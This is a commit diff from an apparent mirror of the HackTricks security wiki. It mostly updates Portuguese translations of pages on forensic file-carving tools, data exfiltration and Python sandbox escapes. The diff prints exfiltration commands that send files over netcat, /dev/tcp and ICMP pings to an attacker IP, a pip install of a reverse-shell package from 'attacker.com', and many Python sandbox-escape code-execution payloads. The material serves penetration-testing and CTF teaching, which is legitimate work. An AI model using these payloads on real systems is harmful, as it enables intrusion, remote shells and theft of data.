mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
1b8ecd4ed4
commit
9e78a86850
47 changed files with 862 additions and 793 deletions
|
@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -32,7 +32,7 @@ A ferramenta mais comum usada em forense para extrair arquivos de imagens é o [
|
|||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** é uma ferramenta para analisar arquivos binários e encontrar conteúdo incorporado. É instalável via `apt` e seu código fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** é uma ferramenta para analisar arquivos binários e encontrar conteúdo incorporado. É instalável via `apt` e seu código-fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Comandos úteis**:
|
||||
```bash
|
||||
|
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Caso contrário, o foremost pesquisará pelos tipos de arquivos configurados por padrão.
|
||||
Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Caso contrário, o foremost procurará pelos tipos de arquivos configurados por padrão.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -58,7 +58,7 @@ scalpel file.img -o output
|
|||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Esta ferramenta vem incluída no kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
Esta ferramenta está incluída no kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Esta ferramenta pode escanear uma imagem e irá **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
|
||||
```
|
||||
|
@ -68,7 +68,7 @@ bulk_extractor memory.img -o out_folder
|
|||
|
||||
Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivos** que deseja que o PhotoRec procure.
|
||||
Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivos** que deseja que o PhotoRec pesquise.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
|
@ -85,7 +85,7 @@ Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da
|
|||
* Obtendo **padrões** para criptoanálise em arquivos
|
||||
* **Identificando** algoritmos de empacotamento ou codificação
|
||||
* **Identificando** Esteganografia por padrões
|
||||
* **Diferenciação** binária visual
|
||||
* **Diferenciação** visual binária
|
||||
|
||||
BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de caixa preta.
|
||||
|
||||
|
@ -95,16 +95,16 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe
|
|||
|
||||
Procura por chaves AES pesquisando por suas agendas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
|
||||
|
||||
Baixe [aqui](https://sourceforge.net/projects/findaes/).
|
||||
Faça o download [aqui](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Ferramentas Complementares
|
||||
|
||||
Você pode usar [**viu**](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
|
||||
Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para transformar um PDF em texto e lê-lo.
|
||||
Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -112,11 +112,11 @@ Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para tra
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -185,33 +185,23 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
# Exfiltração de Dados do Windows
|
||||
Windows
|
||||
|
||||
## Introdução
|
||||
## Exfiltração
|
||||
|
||||
Nesta seção, discutiremos várias técnicas comuns para exfiltrar dados de sistemas Windows comprometidos.
|
||||
### Ferramentas e Técnicas
|
||||
|
||||
## Técnicas de Exfiltração
|
||||
Existem várias ferramentas e técnicas que podem ser usadas para exfiltrar dados de um sistema Windows comprometido. Algumas das técnicas comuns incluem:
|
||||
|
||||
### Utilizando Protocolos de Rede
|
||||
- **Utilitários de linha de comando**: Utilização de utilitários como `bitsadmin`, `certutil`, `wmic`, `powershell`, entre outros, para transferir dados para um servidor remoto.
|
||||
- **Protocolos de rede**: Uso de protocolos como HTTP, HTTPS, DNS, SMB, entre outros, para enviar dados para fora da rede comprometida.
|
||||
- **Túneis criptografados**: Estabelecimento de túneis criptografados usando ferramentas como `Mimikatz` ou `PsExec` para enviar dados de forma segura.
|
||||
- **Steganography**: Ocultação de dados dentro de arquivos de imagem, áudio ou vídeo para evitar detecção.
|
||||
- **Uso de APIs do Windows**: Exploração de APIs do Windows para acessar e exfiltrar dados de forma programática.
|
||||
|
||||
Uma maneira comum de exfiltrar dados é através do uso de protocolos de rede, como HTTP, DNS ou até mesmo ICMP. Os dados podem ser codificados e enviados para um servidor controlado pelo atacante.
|
||||
### Considerações Finais
|
||||
|
||||
### Armazenamento em Nuvem
|
||||
|
||||
O armazenamento em nuvem também pode ser uma forma eficaz de exfiltrar dados. Os arquivos podem ser enviados para contas de armazenamento em nuvem, como Dropbox ou Google Drive, e posteriormente baixados pelo atacante.
|
||||
|
||||
### Uso de Túneis Criptografados
|
||||
|
||||
Túneis criptografados, como VPNs ou proxies, podem ser utilizados para enviar dados de forma segura para servidores remotos controlados pelo atacante.
|
||||
|
||||
### Esteganografia
|
||||
|
||||
A esteganografia é uma técnica que envolve ocultar dados dentro de arquivos de mídia, como imagens ou vídeos, para exfiltrá-los sem chamar a atenção.
|
||||
|
||||
## Conclusão
|
||||
|
||||
Existem várias maneiras de exfiltrar dados de sistemas Windows comprometidos, e os atacantes geralmente utilizam uma combinação de técnicas para garantir o sucesso da operação. É crucial que os profissionais de segurança estejam cientes dessas técnicas para proteger adequadamente os sistemas contra tais ataques.
|
||||
É importante estar ciente das várias técnicas de exfiltração disponíveis em sistemas Windows para poder detectar e mitigar possíveis vazamentos de dados. O monitoramento contínuo do tráfego de rede, do uso de utilitários do sistema e da atividade do sistema pode ajudar a identificar atividades suspeitas e prevenir a perda não autorizada de dados.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -234,6 +224,25 @@ sudo mkdir /mnt/sshfs
|
|||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
### Network Channels
|
||||
|
||||
#### Description
|
||||
|
||||
Network Channels (NC) are techniques used to exfiltrate data over network protocols. This can include common protocols such as HTTP, DNS, ICMP, or even custom protocols developed by an attacker. Network Channels are often used during post-exploitation phases to avoid detection by security controls that may be monitoring traditional channels.
|
||||
|
||||
#### Resources
|
||||
|
||||
- [**Chisel**](https://github.com/jpillora/chisel): A fast TCP tunnel over HTTP.
|
||||
- [**Dnscat2**](https://github.com/iagox86/dnscat2): A tool designed to create an encrypted command-and-control (C&C) channel over the DNS protocol.
|
||||
- [**Iodine**](https://code.kryo.se/iodine/): Tunnel IPv4 data through a DNS server.
|
||||
- [**C2Ch**](https://github.com/krmaxwell/c2ch): Command and control over HTTP.
|
||||
|
||||
#### Considerations
|
||||
|
||||
- Network Channels can be used to bypass network filtering rules that only allow specific protocols or ports.
|
||||
- Encrypted channels can help evade detection by security devices that are not able to inspect encrypted traffic.
|
||||
- Monitoring network traffic for anomalies can help detect the use of Network Channels for data exfiltration.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -252,14 +261,9 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
|||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
A seguir estão algumas técnicas comuns de exfiltração de dados usando o protocolo ICMP:
|
||||
Agradecimentos a **@BinaryShadow\_**
|
||||
|
||||
- **Ping Tunneling**: Os dados são enviados em pacotes ICMP Echo Request e as respostas ICMP Echo Reply são usadas para recuperar os dados.
|
||||
- **Covert Channel**: Os dados são ocultados nos campos de cabeçalho ICMP para evitar detecção.
|
||||
- **ICMP Tunneling**: Os dados são encapsulados em pacotes ICMP para exfiltração.
|
||||
- **ICMP Time Exceeded Messages**: Os dados são ocultados nos campos de mensagens ICMP Time Exceeded para exfiltração.
|
||||
|
||||
Essas técnicas podem ser eficazes para exfiltrar dados de redes restritas, pois o tráfego ICMP é frequentemente permitido em muitos ambientes.
|
||||
## **ICMP**
|
||||
```bash
|
||||
# To exfiltrate the content of a file via pings you can do:
|
||||
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
||||
|
@ -285,7 +289,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||
```
|
||||
## TFTP
|
||||
|
||||
Por padrão no XP e 2003 (em outros sistemas, precisa ser adicionado explicitamente durante a instalação)
|
||||
Por padrão no XP e 2003 (em outros sistemas é necessário adicioná-lo explicitamente durante a instalação)
|
||||
|
||||
No Kali, **inicie o servidor TFTP**:
|
||||
```bash
|
||||
|
@ -310,28 +314,6 @@ Baixe um arquivo com um PHP oneliner:
|
|||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
### Overview
|
||||
|
||||
VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the `cscript.exe` or `wscript.exe` interpreters.
|
||||
|
||||
### Exfiltration Techniques
|
||||
|
||||
#### File Transfer
|
||||
|
||||
VBScript can be used to read data from files on the compromised system and transfer it to an external server using protocols such as HTTP or FTP.
|
||||
|
||||
#### Email
|
||||
|
||||
VBScript can also be used to send emails with exfiltrated data as attachments or within the email body.
|
||||
|
||||
#### DNS
|
||||
|
||||
VBScript can leverage DNS requests to exfiltrate data by encoding it within subdomains or query strings.
|
||||
|
||||
### Detection
|
||||
|
||||
Detection of VBScript exfiltration techniques can be challenging due to its legitimate use in Windows environments. Monitoring for suspicious network traffic, file access patterns, and email activity can help in detecting potential exfiltration attempts.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -385,7 +367,7 @@ Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe se
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@ Isso ajuda em várias ocasiões a **procurar por informações vazadas** ou por
|
|||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Pesquise em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias grátis). Suporta regexes.
|
||||
* [**Github Search**](https://github.com/search): Pesquise no Github. Suporta regexes.
|
||||
* Talvez também seja útil verificar o [**Github Code Search**](https://cs.github.com/).
|
||||
* Talvez também seja útil verificar [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pesquise em projetos do Gitlab. Suporta regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Pesquise código em milhões de projetos.
|
||||
|
||||
|
@ -38,7 +38,7 @@ Quando você procura por vazamentos em um repositório e executa algo como `git
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -16,13 +16,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Estas são algumas dicas para contornar as proteções de sandbox do Python e executar comandos arbitrários.
|
||||
Estes são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários.
|
||||
|
||||
## Bibliotecas de Execução de Comandos
|
||||
|
||||
|
@ -94,17 +94,17 @@ Para obter mais informações sobre como o pickle funciona, acesse: [https://che
|
|||
|
||||
Truque compartilhado por **@isHaacK**
|
||||
|
||||
Se você tiver acesso ao `pip` ou `pip.main()`, você pode instalar um pacote arbitrário e obter um shell reverso chamando:
|
||||
Se você tiver acesso ao `pip` ou `pip.main()`, pode instalar um pacote arbitrário e obter um shell reverso chamando:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o shell reverso**:
|
||||
Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py`, e colocar seu IP para o shell reverso**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, para que você **não deixe nenhum pacote Python extra instalado no servidor** ao sair.
|
||||
Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, então você **não deixará nenhum pacote Python extra instalado no servidor** ao sair.
|
||||
{% endhint %}
|
||||
|
||||
## Avaliando código Python
|
||||
|
@ -113,7 +113,7 @@ Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para q
|
|||
Observe que exec permite strings multilinhas e ";", mas eval não (verifique o operador walrus)
|
||||
{% endhint %}
|
||||
|
||||
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
|
||||
Se certos caracteres forem proibidos, você pode usar a representação em **hexadecimal/octal/Base64** para **burlar** a restrição:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -159,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypassando proteções através de codificações (UTF-7)
|
||||
|
||||
Neste [**artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente:
|
||||
No [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -200,11 +200,11 @@ class _:pass
|
|||
```
|
||||
### RCE criando objetos e sobrecarregando
|
||||
|
||||
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** a necessidade de chamá-los diretamente.
|
||||
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** **precisar chamá-los diretamente**.
|
||||
|
||||
#### RCE com classes personalizadas
|
||||
|
||||
Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazê-los **executar código arbitrário** quando **acionados** sem chamá-los diretamente.
|
||||
Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazer com que eles **executem código arbitrário** quando **acionados** sem chamá-los diretamente.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -468,7 +468,7 @@ Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibl
|
|||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Existem muitos, e **precisamos apenas de um** para executar comandos:
|
||||
Há muitos, e **só precisamos de um** para executar comandos:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
@ -686,7 +686,7 @@ Pode verificar a saída deste script nesta página:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Se **enviar** uma **string** para o python que vai ser **formatada**, pode usar `{}` para aceder a **informações internas do python**. Pode usar os exemplos anteriores para aceder a globais ou builtins, por exemplo.
|
||||
Se **enviar** uma **string** para o python que vai ser **formatada**, pode usar `{}` para aceder a **informações internas do python**. Pode usar os exemplos anteriores para aceder a variáveis globais ou funções integradas, por exemplo.
|
||||
|
||||
{% hint style="info" %}
|
||||
No entanto, há uma **limitação**, só pode usar os símbolos `.[]`, então **não poderá executar código arbitrário**, apenas ler informações.\
|
||||
|
@ -711,11 +711,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e elementos de **dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`
|
||||
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`
|
||||
|
||||
Também observe que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Algumas outras características interessantes das strings de formatação é a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
|
||||
Algumas outras características interessantes das strings de formatação são a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -755,10 +755,10 @@ Verifique também a seguinte página para gadgets que irão **ler informações
|
|||
## Dissecando Objetos Python
|
||||
|
||||
{% hint style="info" %}
|
||||
Se você deseja aprender sobre o bytecode do Python em profundidade, leia este incrível artigo sobre o tópico: [https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Se você deseja aprender sobre o **bytecode do Python** em profundidade, leia este incrível artigo sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Em alguns CTFs, você pode receber o nome de uma função personalizada onde a flag está localizada e precisa ver os detalhes internos da função para extraí-la.
|
||||
Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** está localizada e precisa ver os **detalhes** da **função** para extraí-la.
|
||||
|
||||
Esta é a função a ser inspecionada:
|
||||
```python
|
||||
|
@ -881,7 +881,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Observe que **se não for possível importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada.
|
||||
Observe que **se não for possível importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -996,7 +996,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Se não for possível acessar `eval` ou `exec`, você pode criar uma **função apropriada**, mas chamá-la diretamente geralmente resultará em falha com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.**
|
||||
Se você não consegue acessar `eval` ou `exec`, você poderia criar uma **função apropriada**, mas chamá-la diretamente geralmente falhará com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1041,7 +1041,7 @@ serão contornados
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -1053,7 +1053,7 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
